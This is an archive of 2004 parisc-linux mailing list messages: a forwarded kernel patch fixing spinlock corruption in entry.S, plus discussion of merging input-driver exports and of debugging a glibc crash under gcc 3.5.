Original-Received: (qmail 5547 invoked by uid 65534); 11 Jul 2004 21:28:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx054) with SMTP; 11 Jul 2004 23:28:56 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 40A2C3BE18; Sun, 11 Jul 2004 15:28:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13215-04; Sun, 11 Jul 2004 15:28:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7B3C63BE13; Sun, 11 Jul 2004 15:27:52 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F12E13BE10
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 15:27:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12098-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 15:27:49 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D8C653BE04
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 15:27:48 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 38B444946AF; Sun, 11 Jul 2004 15:27:48 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id AF4F14946AE
	for <parisc-linux@parisc-linux.org>;
	Sun, 11 Jul 2004 15:27:47 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id C465029810B
	for <parisc-linux@parisc-linux.org>;
	Sun, 11 Jul 2004 15:27:46 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27486-01 for <parisc-linux@parisc-linux.org>;
	Sun, 11 Jul 2004 15:27:45 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9A86229810A; Sun, 11 Jul 2004 15:27:45 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24873

Folks,
Here's another good example of
	"Just because it boots doesn't mean it's right"

Someone was asserting SMP is stable (based on their experience).
But it was clearly corrupting the lock pointer.

Kudos to Thibaut Varene on the spinlock debug code.

thanks,
grant

----- Forwarded message from Randolph Chung <randolph@tausq.org> -----

From: Randolph Chung <randolph@tausq.org>
To: parisc-linux-cvs@lists.parisc-linux.org
Subject: Re: [parisc-linux-cvs] linux-2.6 tausq

> 	.              : Makefile 
> 	arch/parisc/kernel: entry.S smp.c traps.c 
> 	include/asm-parisc: pgtable.h 
> 
> Log message:
> 2.6.7-pa13
> Fix a bug in entry.S where pa_dbit_lock was being trashed
> Fix debug spinlock warnings in pgtable.h

<ggg> T-Bone deserves a big cookie :^)

Index: Makefile
===================================================================
RCS file: /var/cvs/linux-2.6/Makefile,v
retrieving revision 1.219
diff -u -p -r1.219 Makefile
--- Makefile	11 Jul 2004 04:26:04 -0000	1.219
+++ Makefile	11 Jul 2004 17:29:32 -0000
@@ -1,7 +1,7 @@
 VERSION = 2
 PATCHLEVEL = 6
 SUBLEVEL = 7
-EXTRAVERSION = -pa12
+EXTRAVERSION = -pa13
 NAME=Zonked Quokka
 
 # *DOCUMENTATION*
Index: arch/parisc/kernel/entry.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/entry.S,v
retrieving revision 1.15
diff -u -p -r1.15 entry.S
--- arch/parisc/kernel/entry.S	9 Jul 2004 19:04:20 -0000	1.15
+++ arch/parisc/kernel/entry.S	11 Jul 2004 17:29:33 -0000
@@ -518,7 +518,7 @@
 
 	/* Set the dirty bit (and accessed bit).  No need to be
 	 * clever, this is only used from the dirty fault */
-	.macro		update_dirty	ptep,pte,tmp,tmp1
+	.macro		update_dirty	ptep,pte,tmp
 	ldi		_PAGE_ACCESSED|_PAGE_DIRTY,\tmp
 	or		\tmp,\pte,\pte
 	STREG		\pte,0(\ptep)
@@ -1559,7 +1559,7 @@ dbit_spin_20w:
 
 dbit_nolock_20w:
 #endif
-	update_dirty	ptp,pte,t0,t1
+	update_dirty	ptp,pte,t1
 
 	make_insert_tlb	spc,pte,prot
 		
@@ -1596,7 +1596,7 @@ dbit_spin_11:
 
 dbit_nolock_11:
 #endif
-	update_dirty	ptp,pte,t0,t1
+	update_dirty	ptp,pte,t1
 
 	make_insert_tlb_11	spc,pte,prot
 
@@ -1637,11 +1637,11 @@ dbit_spin_20:
 
 dbit_nolock_20:
 #endif
-	update_dirty	ptp,pte,t0,t1
+	update_dirty	ptp,pte,t1
 
 	make_insert_tlb	spc,pte,prot
 
-	f_extend	pte,t0
+	f_extend	pte,t1
 	
         idtlbt          pte,prot
 
Index: arch/parisc/kernel/smp.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/smp.c,v
retrieving revision 1.8
diff -u -p -r1.8 smp.c
--- arch/parisc/kernel/smp.c	23 May 2004 23:51:52 -0000	1.8
+++ arch/parisc/kernel/smp.c	11 Jul 2004 17:29:33 -0000
@@ -54,8 +54,6 @@
 
 #define kDEBUG 0
 
-spinlock_t pa_dbit_lock = SPIN_LOCK_UNLOCKED;
-
 spinlock_t smp_lock = SPIN_LOCK_UNLOCKED;
 
 volatile struct task_struct *smp_init_current_idle_task;
Index: arch/parisc/kernel/traps.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/traps.c,v
retrieving revision 1.13
diff -u -p -r1.13 traps.c
--- arch/parisc/kernel/traps.c	28 Apr 2004 19:12:10 -0000	1.13
+++ arch/parisc/kernel/traps.c	11 Jul 2004 17:29:34 -0000
@@ -44,6 +44,10 @@
 #define PRINT_USER_FAULTS /* (turn this on if you want user faults to be */
 			  /*  dumped to the console via printk)          */
 
+#if defined(CONFIG_SMP) || defined(CONFIG_DEBUG_SPINLOCK)
+spinlock_t pa_dbit_lock = SPIN_LOCK_UNLOCKED;
+#endif
+
 int printbinary(char *buf, unsigned long x, int nbits)
 {
 	unsigned long mask = 1UL << (nbits - 1);
Index: include/asm-parisc/pgtable.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/pgtable.h,v
retrieving revision 1.15
diff -u -p -r1.15 pgtable.h
--- include/asm-parisc/pgtable.h	10 Jul 2004 07:51:15 -0000	1.15
+++ include/asm-parisc/pgtable.h	11 Jul 2004 17:29:37 -0000
@@ -455,11 +455,7 @@ static inline int ptep_test_and_clear_di
 #endif
 }
 
-#ifdef CONFIG_SMP
 extern spinlock_t pa_dbit_lock;
-#else
-static spinlock_t pa_dbit_lock; /* dummy to keep the compilers happy */
-#endif
 
 static inline pte_t ptep_get_and_clear(pte_t *ptep)
 {
_______________________________________________
parisc-linux-cvs mailing list
parisc-linux-cvs@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux-cvs

----- End forwarded message -----
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] missing exports
Date: Mon, 12 Jul 2004 00:16:03 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <200407120016.03356.deller@gmx.de>
References: <1067288209.3591.1.camel@kars.perseus.home>
	<200407101555.18830.deller@gmx.de>
	<1089477389.2474.129.camel@kars.perseus.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624463 25615 80.91.229.3 (22 Nov 2014 02:47:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:43 +0000 (UTC)
Cc: Linux/m68k kernel mailing list <linux-m68k@lists.linux-m68k.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 parisc-linux@parisc-linux.org
To: Kars de Jong <jongk@linux-m68k.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11736 invoked by uid 65534); 11 Jul 2004 22:16:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx042) with SMTP; 12 Jul 2004 00:16:49 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 93C8C3BE16; Sun, 11 Jul 2004 16:16:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13988-01; Sun, 11 Jul 2004 16:16:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BE9663BE18; Sun, 11 Jul 2004 16:16:12 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 694823BE15
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 16:16:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13876-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 16:16:09 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 681543BE13
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Jul 2004 16:16:09 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id EA7784946AF; Sun, 11 Jul 2004 16:16:08 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by palinux.hppa (Postfix) with SMTP id CA8984946AE
	for <parisc-linux@parisc-linux.org>;
	Sun, 11 Jul 2004 16:16:07 -0600 (MDT)
Original-Received: (qmail 4930 invoked by uid 65534); 11 Jul 2004 22:16:04 -0000
Original-Received: from pD9FE76DD.dip.t-dialin.net (EHLO p100) (217.254.118.221)
	by mail.gmx.net (mp027) with SMTP; 12 Jul 2004 00:16:04 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.6.82
In-Reply-To: <1089477389.2474.129.camel@kars.perseus.home>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24874

On Saturday 10 July 2004 18:36, Kars de Jong wrote:
> It seems to be worse than 2.4 though. On my HP9000/425t the keyboard
> sometimes locks up for a while and then starts reacting again. The mouse
> gets detected but doesn't seem to generate any events on
> /dev/input/mice.

Yes. Same problem here on HPPA/2.6 as well.

> > Anyway, I would be happy to see any patches and merge them upstream.
> 
> OK, here they are. Nothing to fix the reliability issues though, I'm
> affraid.

I applied your changes to the PARISC CVS tree, but as long as the mouse isn't working I think it's a bad idea to merge it upstream.

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] missing exports
Date: Mon, 12 Jul 2004 02:55:28 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20040712015528.GM5889@parcelfarce.linux.theplanet.co.uk>
References: <1067288209.3591.1.camel@kars.perseus.home> <200407101555.18830.deller@gmx.de> <1089477389.2474.129.camel@kars.perseus.home> <200407120016.03356.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624463 25618 80.91.229.3 (22 Nov 2014 02:47:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:43 +0000 (UTC)
Cc: Kars de Jong <jongk@linux-m68k.org>,
 Linux/m68k kernel mailing list <linux-m68k@lists.linux-m68k.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 parisc-linux@parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <willy@www.linux.org.uk>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23716 invoked by uid 65534); 12 Jul 2004 01:55:29 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (EHLO www.linux.org.uk) (195.92.249.252)
  by mx0.gmx.net (mx005) with SMTP; 12 Jul 2004 03:55:29 +0200
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1Bjq2S-0002a0-C8; Mon, 12 Jul 2004 02:55:28 +0100
Content-Disposition: inline
In-Reply-To: <200407120016.03356.deller@gmx.de>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24875

On Mon, Jul 12, 2004 at 12:16:03AM +0200, Helge Deller wrote:
> I applied your changes to the PARISC CVS tree, but as long as the mouse isn't working I think it's a bad idea to merge it upstream.

I'm not sure that's true.  I think it's fine to merge it upstream and
fix it later.  Maybe someone else will notice the problem and fix it
for us ;-)

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain



From - Thu Nov 08 21:36:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new toolchain (binutils 2.15, gcc 3.5, glibc 2.3.3)
	progress
Date: Mon, 12 Jul 2004 11:14:41 +0000
Lines: 70
Approved: news@gmane.org
Message-ID: <40F272A1.4040006@tiscali.be>
References: <40E6A00E.8020203@tiscali.be>
	<40BD9F05000175F1@ocpmta1.freegates.net>
	<20040709183243.GJ4759@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624463 25622 80.91.229.3 (22 Nov 2014 02:47:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:43 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11269 invoked by uid 65534); 12 Jul 2004 11:14:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 12 Jul 2004 13:14:40 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1E12B3BE20; Mon, 12 Jul 2004 05:14:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20578-01; Mon, 12 Jul 2004 05:14:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 897EA3BE23; Mon, 12 Jul 2004 05:14:18 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 69C8E3BE1C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 05:14:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19740-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 05:14:13 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5653C3BE18
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 12 Jul 2004 05:14:13 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id A8F5D4946AF; Mon, 12 Jul 2004 05:14:12 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by palinux.hppa (Postfix) with ESMTP id C94474946AE
	for <parisc-linux@parisc-linux.org>;
	Mon, 12 Jul 2004 05:14:11 -0600 (MDT)
Original-Received: from [83.134.226.7] (helo=[83.134.226.7])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Bjyl7-000586-TM; Mon, 12 Jul 2004 13:14:10 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7) Gecko/20040702 Debian/1.7-3
X-Accept-Language: en
In-Reply-To: <20040709183243.GJ4759@baldric.uwo.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24876

Hello Carlos,

Sorry for late answer, but I take some hollidays with my wife :)

Carlos O'Donell wrote:
> On Wed, Jul 07, 2004 at 07:02:37PM +0200, Joel Soete wrote:
> 
[...]

>>>>
>>for a run i got r25==0x4004b000
>>
>>and the corresponding mapping at this moment is:
>>00010000-00011000 r-xp 00000000 08:0b 142497     /Develop/parisc-linux/build/glibc/localedata/tst-leaks
>>00020000-00021000 rwxp 00000000 08:0b 142497     /Develop/parisc-linux/build/glibc/localedata/tst-leaks
>>40000000-40004000 rw-p 40000000 00:00 0
>>4004b000-4004c000 r--p 00000000 08:0b 2632       /Develop/parisc-linux/build/glibc/localedata/de_DE.ISO-8859-1/LC_IDENTIFICATION
>>403eb000-40529000 r-xp 00000000 08:0b 18692      /Develop/parisc-linux/build/glibc/libc.so
>>40529000-40536000 rwxp 0012e000 08:0b 18692      /Develop/parisc-linux/build/glibc/libc.so
>>40536000-40538000 rwxp 40536000 00:00 0
>>410bd000-410d4000 r-xp 00000000 08:0b 196300     /Develop/parisc-linux/build/glibc/elf/ld.so
>>410e3000-410e7000 rwxp 00016000 08:0b 196300     /Develop/parisc-linux/build/glibc/elf/ld.so
>>410e7000-41108000 rwxp 410e7000 00:00 0
>>bff00000-bff02000 rwxp bff00000 00:00 0
> 
> 
> That seems reasonable, it's trying to load the first word from the
> locale data. Not sure why that would crash. Is it still crashing in the
> same place?

Yes it always crashed at the same place.
That is why I would like to back traced the calling function to see if some space register is not broken?

>  
> 
>>I try to compare with glibc build with gcc-3.3.4 (that takes me some time
>>to remember That I have also to upgrade my kernel to make gdb stop at a
>>break point :( ) and I got the same matching r25 == map address of 
>>/Develop/parisc-linux/build/glibc/localedata/de_DE.ISO-8859-1/LC_IDENTIFICATION.
>>But with gcc-3.3.4 that can continue not with gcc-3.5????
> 
> 
> You have to get near that insn sequence and then start doing a binary
> stepping, usually like "si 1000" or something and then if you crash
> restart the process and keep going. You need to determine why the
> sequence would crash. Currently it looks like it shouldn't, which means
> we are probably looking at the wrong insns.
> 
> 
>>What do I miss?
> 
> 
> We are probably looking at the wrong insns.
> 
> c.
> 
> 
Well, ok it should be that gdb didn't show me the right stuff and so the only way I foreseen in this case is to introduce some 
printf (if posible, but iirc it's not) from place to place?

I will so continue.

Thanks for help,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] "Unknown machine at ..." on N4k
Date: Wed, 14 Jul 2004 17:24:23 +0000
Lines: 52
Approved: news@gmane.org
Message-ID: <40BD9F870001BC0C@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624464 25627 80.91.229.3 (22 Nov 2014 02:47:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:44 +0000 (UTC)
To: "List Parisc" <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19284 invoked by uid 65534); 14 Jul 2004 17:25:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx002) with SMTP; 14 Jul 2004 19:25:24 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6229A3BC41; Wed, 14 Jul 2004 11:25:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15821-06; Wed, 14 Jul 2004 11:25:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C1F2B3BDCB; Wed, 14 Jul 2004 11:24:34 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A238F3BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jul 2004 11:24:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15821-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jul 2004 11:24:26 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 754B23BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jul 2004 11:24:26 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id F07B4494696; Wed, 14 Jul 2004 11:24:26 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP id 78C93494692
	for <parisc-linux@parisc-linux.org>;
	Wed, 14 Jul 2004 11:24:25 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 14 Jul 2004 19:24:23 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
